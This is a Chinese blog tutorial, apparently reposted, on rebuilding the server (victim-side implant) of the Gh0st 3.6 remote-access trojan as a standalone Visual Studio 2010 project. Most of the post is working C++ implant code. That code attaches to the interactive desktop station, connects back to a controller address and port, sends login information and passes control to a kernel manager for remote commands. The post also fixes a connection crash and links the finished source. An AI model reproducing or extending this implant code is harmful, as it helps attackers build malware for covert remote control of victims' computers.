Gh0st3.6将服务端修改为单个可执行文件,便于调试的方法

来源:互联网 发布:软件测试的发展史 编辑:程序博客网 时间:2024/05/22 03:16

刚得到初始源码的时候,Visual studio 2010 都编译不过,修改了一些错误后顺利编译成功,但是运行又有问题,第一次打开没问题,关闭后从新打开就无法连接了,为了方便与查找问题,我花了3天时间研究,现在简单的描
述一下,希望对大家有所帮助。

一、下载 Gh0st3.6 

Gh0st3.6 源码 Visual Studio 2010 编译成功

二、解压下载下来的文件,新建一个 Win32 应用程序

这里写图片描述

这里写图片描述

 三、将多余的代码删除掉,然后就成这个样子        #include "stdafx.h"        #include "svchost.h"        #define MAX_LOADSTRING 100        int APIENTRY _tWinMain(HINSTANCE hInstance,                             HINSTANCE hPrevInstance,                             LPTSTR    lpCmdLine,                             int       nCmdShow)        {            UNREFERENCED_PARAMETER(hPrevInstance);            UNREFERENCED_PARAMETER(lpCmdLine);            // TODO: 在此放置代码。            return 0;        }

四、拷贝 Gh0st3.6\Server\svchost\common 目录 到 svchost\svchost\common 目录
五、拷贝 Gh0st3.6\common 目录 到 svchost\common 目录
六、拷贝 Gh0st3.6\Server\svchost 目录里面的 ClientSocket.cpp、ClientSocket.h 到 svchost\svchost\common 目录

ClientSocket 文件

七、将刚才复制过来的所以 .h/.cpp文件导入到项目中

这里写图片描述

八、配置项目属性

这里写图片描述
这里写图片描述
这里写图片描述

九、编译,然后修改一些小问题,主要是文件目录错误

这里写图片描述

这里写图片描述

十、添加代码

// svchost.cpp 文件添加后如下:// svchost.cpp : 定义应用程序的入口点。//#include "stdafx.h"#include "svchost.h"#define MAX_LOADSTRING 100// 全局变量:HINSTANCE hInst;                                // 当前实例// 此代码模块中包含的函数的前向声明:int APIENTRY _tWinMain(HINSTANCE hInstance,                     HINSTANCE hPrevInstance,                     LPTSTR    lpCmdLine,                     int       nCmdShow){    UNREFERENCED_PARAMETER(hPrevInstance);    UNREFERENCED_PARAMETER(lpCmdLine);    // TODO: 在此放置代码。    char    strServiceName[256];    char    strKillEvent[50];    HANDLE  hInstallMutex = NULL;    char    *lpURL;    char    *lpszHost = "127.0.0.1";    DWORD   dwPort = 8088;    char    *lpszProxyHost = NULL;    DWORD   dwProxyPort = 0;    char    *lpszProxyUser = NULL;    char    *lpszProxyPass = NULL;    HANDLE  hEvent = NULL;    CClientSocket socketClient;    BYTE    bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接    // 初始化全局字符串    // 执行应用程序初始化:    HWINSTA hOldStation = GetProcessWindowStation();    HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);    if (hWinSta != NULL)        SetProcessWindowStation(hWinSta);    while (1)    {        // 如果不是心跳超时,不用再sleep两分钟        if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)        {            // 2分钟断线重连, 为了尽快响应killevent            for (int i = 0; i < 2000; i++)            {                hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);                if (hEvent != NULL)                {                    socketClient.Disconnect();                    CloseHandle(hEvent);                    break;                    break;                }                // 改一下                Sleep(60);            }        }        // lpszProxyHost: 代理主机        // dwProxyPort:   代理端口        // lpszProxyUser:代理用户        //         // 是否有代理主机        //if (lpszProxyHost != NULL)        //    socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);        //else            socketClient.setGlobalProxyOption();        DWORD dwTickCount = GetTickCount();        // 通过 ip 和 端口 取得连接        if (!socketClient.Connect(lpszHost, dwPort))        {            bBreakError = CONNECT_ERROR;            continue;        }        // 登录        DWORD dwExitCode = SOCKET_ERROR;        sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);        CKernelManager  manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);        socketClient.setManagerCallBack(&manager);        //////////////////////////////////////////////////////////////////////////        // 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误        for (int i = 0; (i < 10 && !manager.IsActived()); i++)        {            Sleep(1000);        }        // 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接        if (!manager.IsActived())            continue;        //////////////////////////////////////////////////////////////////////////        DWORD   dwIOCPEvent;        dwTickCount = GetTickCount();        do        {            hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);            dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);            Sleep(500);        } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);        if (hEvent != NULL)        {            socketClient.Disconnect();            CloseHandle(hEvent);            break;        }    }    SetErrorMode(0);    ReleaseMutex(hInstallMutex);    CloseHandle(hInstallMutex);    return 0;}
// svchost.h 文件添加后如下:#pragma once#include "resource.h"#include "common/until.h"#include "common/ClientSocket.h"#include "common/login.h"#include "common/KernelManager.h"#define     HEART_BEAT_TIME     1000 * 60 * 3 // 心跳时间enum{    NOT_CONNECT, //  还没有连接    GETLOGINFO_ERROR,    CONNECT_ERROR,    HEARTBEATTIMEOUT_ERROR};SERVICE_STATUS_HANDLE hServiceStatus;DWORD   g_dwCurrState;DWORD   g_dwServiceType;char    svcname[MAX_PATH];

十一、打开 gh0st 客户端

这里写图片描述

十二、调试 svchost 项目,当运行到 if (!socketClient.Connect(lpszHost, dwPort)) 会爆出一个错误,错误的原因是访问溢出。

这里写图片描述

这里写图片描述

找到 socketClient.Connect 函数的定义,出问题的在这个地方。

这里写图片描述

修改后
这里写图片描述

const char chOpt = 1; // True    unsigned long lchOpt;    // Set KeepAlive 开启保活机制, 防止服务端产生死连接    if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0)    {        // 设置超时详细信息        tcp_keepalive   klive;        klive.onoff = 1; // 启用保活        klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive        klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply        lchOpt = chOpt;        WSAIoctl            (            m_Socket,             SIO_KEEPALIVE_VALS,            &klive,            sizeof(tcp_keepalive),            NULL,            0,            &lchOpt,            0,            NULL            );    }

再次运行,OK 了。

这里写图片描述

最后附上最终的源码

svchost.rar

0 0
原创粉丝点击